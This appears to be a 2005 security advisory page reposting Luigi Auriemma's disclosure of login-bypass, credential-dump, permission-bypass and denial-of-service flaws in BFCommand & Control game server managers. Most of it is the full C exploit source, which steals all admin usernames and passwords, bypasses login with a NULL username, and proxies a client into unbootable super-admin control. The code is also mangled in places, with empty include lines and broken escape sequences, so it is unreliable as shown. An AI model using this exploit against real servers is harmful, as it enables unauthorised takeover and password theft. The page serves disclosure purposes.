Ads

BFCommand and Control, Battlefield 1942 and BFVietnam Multiple Vulnerabilities PDF Print E-mail
Wednesday, 31 August 2005

Blogs


Envelope SecuriTeam in Your Inbox

Email E-mail this article to a friend


New vulnerability?
New tool?
Tell us

RSS
BFCommand and Control, Battlefield 1942 and BFVietnam Multiple Vulnerabilities 30 Aug. 2005

Summary
BFCommand & Control Server Manager is a server manager available for the games Battlefield 1942 (with the name BFCC), Battlefield Vietnam (BFVCC) and Battlefield 2 (BF2CC).
The difference between these server managers and the others available on Internet is that BFVCC is also directly included in the CD of Battlefield Vietnam so its used on many servers.

Lack of proper information validation, and connection manager allow attackers to perform multiple type of attacks on BFCommand and Control and BF Viatman.

Credit:
The information has been provided by Luigi Auriemma.
The original article can be found at: http://aluigi.altervista.org/adv/bfccown-adv.txt

Details
Vulnerable Systems:
* BFCC version 1.22_A and lower
* BFVCC version 2.14_B and lower

Immune Systems:
* BFVCCDaemon any version

Full anonymous login bypass:
An anonymous user can bypass the login mechanism and gain a full administration privileges.
Without using the login mechanism, the attacker can bypass the log engine, except for several commands that does been logged if used.

Login bypass through NULL username:
The "login" command naturally is composed by username and a password but the if attackers place a NULL byte (0x00) in the username field, they will able to bypass the authentication and the server will grant the access to the attacker.

Proof of Concept:
"login" "x1e" // command
"" "x1e" // username (NULL byte)
"none" "x1e" // password
"none" "x1e" // username
"" "x1e" // ???
"" // ???
"x00x40x40x00" // command delimiter

Invulnerable clients and full privileges:
The administrator (and moreover the local administrator) have the ability of booting the other remote administrators.
Command such as "Boot" and others that have an effect on the clients are ignored and the server continues to keep the connection and any operation or disconnection is made by the client not the server.
In short a modified client (for example placing a NULL byte where is located the Unicode command Boot in the executable) cannot be booted.
Then each administrators can be limited in what he or she can do by setting some permissions in the "User Profiles" section.
Just like for the Boot command also the permissions are client-side so an administrator with a very restricted power can take the full control of the server manager.

Server full after consecutive connections:
A sort of "fake players" attack with the difference that here after 20 consecutive connections (just a simple connect and disconnect) the server becomes full forever.
In short if the client doesnt send the "login" command the server considers the connection in an idle state and when is reached the limit of 20 connections (although the connections and the sockets have been closed!) it becomes full and nobody can use the server manager from remote.

Exploit:
winerr.h can be found at: http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html
bfccown.c:
/*

by Luigi Auriemma

*/

#include
#include
#include
#include

#ifdef WIN32
#include
#include "winerr.h"

#define close closesocket
#else
#include
#include
#include
#include
#include
#include
#endif

#define VER "0.1"
#define PORT 5555
#define MYPORT 3333
#define BUFFSZ 8192
#define DEL 0x1e
#define END "x00x40x40x00"

void proxy(int sock, u_char *buff, int size);
int check_drop(u_char *data);
void show_bfcc(u_char *buff, int len);
void send_bfcc(int sock, ...);
int recv_bfcc(int sock, u_char *buff, int size);
u_int resolv(char *host);
void std_err(void);

int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len,
attack,
scan = 3;
u_short port = PORT;
u_char buff[BUFFSZ];

#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

setbuf(stdout, NULL);

fputs(" "
"BFCommand & Control login bypass "VER" "
" BFCC <= 1.22_A "
" BFVCC <= 2.14_B "
" BFVCCDaemon is NOT vulnerable "
"by Luigi Auriemma "
"e-mail: aluigi@autistici.org "
"web: http://aluigi.altervista.org "
" ", stdout);

if(argc < 3) {
printf(" "
"Usage: %s [port(%hu)] "
" "
"Attack: "
" 1 = passwords stoler, sends the GetUserAccounts anonymously and gets all the "
" usernames and passwords in the server manager (bug A) "
" 2 = checks if is possible to bypass the login using a NULL username (bug B) "
" 3 = proxy server to use with BFC3 and BFVC3 clients which grants access to any "
" vulnerable server in total anonymity and unbootable (bug A and C) "
" 4 = explanation of how test bug D, server full forever "
" "
" Note: The default port of BFCC is 4555 while is 5555 for BFVCC (default) "
" This tool has been written to be compatible with BFVCC so only attack 1 "
" and 4 can be used with success versus BFCC using this specific tool "
" ", argv[0], port);
exit(1);
}

attack = atoi(argv[1]);
if((attack < 1) || (attack > 4)) {
fputs(" Error: you must choose a number between the range of available attacks ", stdout);
exit(1);
}
if(attack == 4) {
fputs(" "
"Download the tool "Generic TCP Fake Players DoS" from here: "
" "
" http://aluigi.altervista.org/fakep/tcpfp.zip "
" "
"Launch it with the following arguments "
" "
" tcpfp -r full 127.0.0.1 5555 "
" "
"substituiting 127.0.0.1 and 5555 with the server and port of the server you "
"want to test. "
" ", stdout);
return(0);
}

if(argc > 3) port = atoi(argv[3]);

peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;

sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();

while(scan--) {
printf("- target %s : %hu ",
inet_ntoa(peer.sin_addr), port);
len = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
if(!len) break;
fputs(" no service available on this port ", stdout);
peer.sin_port = htons(++port);
}
if(len < 0) std_err();

if(attack == 1) {
fputs("- receive servers informations: ", stdout);
len = recv_bfcc(sd, buff, BUFFSZ);
show_bfcc(buff, len);

fputs("- send anonymous GetUserAccounts commands ", stdout);
send_bfcc(sd, "GetUserAccounts", NULL);

fputs(
"- receive full list of admin usernames and passwords "
" Username Password: ", stdout);
len = recv_bfcc(sd, buff, BUFFSZ);
show_bfcc(buff, len);

} else if(attack == 2) {
fputs("- receive servers informations: ", stdout);
len = recv_bfcc(sd, buff, BUFFSZ);
show_bfcc(buff, len);

fputs("- send login command with NULL nickname ", stdout);
send_bfcc(sd,
"login",
"", // BUG exploited here
"password",
"username",
"???",
"",
NULL);

fputs("- check for success message: ", stdout);
len = recv_bfcc(sd, buff, BUFFSZ);
show_bfcc(buff, len);

} else if(attack == 3) {
proxy(sd, buff, BUFFSZ);
}

close(sd);
free(buff);
return(0);
}

void proxy(int sock, u_char *buff, int size) {
struct sockaddr_in peer;
fd_set readset;
int sdl,
sda,
on = 1,
len,
psz,
selsock;

peer.sin_addr.s_addr = INADDR_ANY;
peer.sin_port = htons(MYPORT);
peer.sin_family = AF_INET;
psz = sizeof(peer);

printf("- bind port %hu ", MYPORT);

sdl = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sdl < 0) std_err();
if(setsockopt(sdl, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
< 0) std_err();
if(bind(sdl, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
if(listen(sdl, SOMAXCONN)
< 0) std_err();

printf("- launch BFC3 or BFVC3 and sets %s as server and %hu as port ",
"127.0.0.1", MYPORT);

sda = accept(sdl, (struct sockaddr *)&peer, &psz);
if(sda < 0) std_err();

printf("- connected ");

send_bfcc(sda, // enable everything
"master",
"null/null/null/0/Map_True/"
"Action-Warn" "xff" "1" "xff"
"Action-Kick" "xff" "1" "xff"
"Action-Insta-Kick (No Reason)" "xff" "1" "xff"
"Action-Ban" "xff" "1" "xff"
"Action-Insta-Ban (No Reason)" "xff" "1" "xff"
"Action-Remove Ban" "xff" "1" "xff"
"Action-Clear Banlist" "xff" "1" "xff"
"Action-Force to Other Team" "xff" "1" "xff"
"Action-Kill Player" "xff" "1" "xff"
"Action-Send Message to Server" "xff" "1" "xff"
"Game-Pause" "xff" "1" "xff"
"Game-Toggle Auto-Balance" "xff" "1" "xff"
"Action-Request PB Screenshot" "xff" "1" "xff"
"BFVC3-Maps Change Maps" "xff" "1" "xff"
"BFVC3-Maps Change 2 Map NOT in " "xff" "1" "xff"
"BFVC3-Maps Restart Map" "xff" "1" "xff"
"BFVC3-Maps Set Next Map" "xff" "1" "xff"
"BFVC3-Admin Change Server Settings" "xff" "1" "xff"
"BFVC3-Admin Change FF Settings" "xff" "1" "xff"
"BFVC3-Admin Change Misc Settings" "xff" "1" "xff"
"BFVC3-Admin Change Voting Settings" "xff" "1" "xff"
"USERS-Access User Accounts" "xff" "1" "xff"
"USERS-Edit User Profiles" "xff" "1" "xff"
"USERS-Create User" "xff" "1" "xff"
"USERS-Edit User" "xff" "1" "xff"
"USERS-Delete User" "xff" "1" "xff"
"BFVCC-Access Manager Control Panel" "xff" "1" "xff"
"BFVCC-Access to Auto Admin Settings" "xff" "1" "xff"
"BFVCC-Load Manager Profiles" "xff" "1" "xff"
"BFVCC-Save Changes to Profiles" "xff" "1" "xff"
"BFVCC-Create Manager Profiles" "xff" "1" "xff"
"BFVCC-Delete Manager Profiles" "xff" "1" "xff"
"CC-Access the CC Editor" "xff" "1" "xff"
"CC-Save Changes to CC Profiles" "xff" "1" "xff"
"CC-Create new CC Profiles" "xff" "1" "xff"
"CC-Delete CC Profile" "xff" "1" "xff"
"CC-Change a Maps CC Profile" "xff" "1" "xff"
"PB-Edit PB Config Files" "xff" "1" "xff",
"15567", // default server port (useless)
"admin" "xff", // username (useless)
"True",
"Super Admin", // profile
"0",
NULL);

selsock = ((sock > sda) ? sock : sda) + 1;

for(;;) {
FD_ZERO(&readset);
FD_SET(sock, &readset);
FD_SET(sda, &readset);
if(select(selsock, &readset, NULL, NULL, NULL)
< 0) std_err();

if(FD_ISSET(sda, &readset)) {
len = recv_bfcc(sda, buff, size);
fwrite(buff, len, 1, stdout);

if(check_drop(buff)) continue;

len = send(sock, buff, len, 0);
if(len < 0) std_err();
}

if(FD_ISSET(sock, &readset)) {
len = recv_bfcc(sock, buff, size);
fwrite(buff, len, 1, stdout);

if(check_drop(buff)) continue;

len = send(sda, buff, len, 0);
if(len < 0) std_err();
}
}

close(sda);
close(sdl);
}

int check_drop(u_char *cmd) {
int i;
u_char *p,
*drop[] = {
"login",
"Boot",
"loginfailed",
NULL
};

p = strchr(cmd, DEL);
if(!p) {
p = strchr(cmd, END[0]);
if(!p) return(0);
}

for(i = 0; drop[i]; i++) {
if(!strncmp(cmd, drop[i], p - cmd)) return(1);
}

return(0);
}

void show_bfcc(u_char *buff, int len) {
u_char *p,
*l,
*limit = buff + len;

for(p = buff; p < limit; p = l + 1) {
for(l = p; *l != DEL; l++) {
if(!memcmp(l, END, 4)) return;
if(!memcmp(l, "|;|", 3)) {
if(*(l - 1) == ) *(l - 1) = ;
memcpy(l, " ", 3);
}
}
*l = 0;
printf(" %s ", p);
}
}

void send_bfcc(int sock, ...) { // final NULL required
va_list ap;
int len;
u_char *s;

va_start(ap, sock);

s = va_arg(ap, u_char *);
if(s) {
for(;;) {
len = strlen(s);
if(!len) len++;
send(sock, s, len, 0);
s = va_arg(ap, u_char *);
if(!s) break;
send(sock, "x1e", 1, 0);
}
}

va_end(ap);

send(sock, END, 4, 0);
}

int recv_bfcc(int sock, u_char *buff, int size) {
int len = 0;

// one command at time, slower but better
while(len < size) {
if(recv(sock, buff + len, 1, 0) <= 0) {
fputs(" Error: connection interrupted ", stdout);
exit(1);
}
len++;
if(!memcmp(buff + len - 4, END, 4)) break;
}

if(len == size) {
fputs(" Error: command too long ", stdout);
exit(1);
}

return(len);
}

u_int resolv(char *host) {
struct hostent *hp;
u_int host_ip;

host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf(" Error: Unable to resolve hostname (%s) ", host);
exit(1);
} else host_ip = *(u_int *)(hp->h_addr);
}
return(host_ip);
}

#ifndef WIN32
void std_err(void) {
perror(" Error");
exit(1);
}
#endif

/* EoF */
 
< Prev   Next >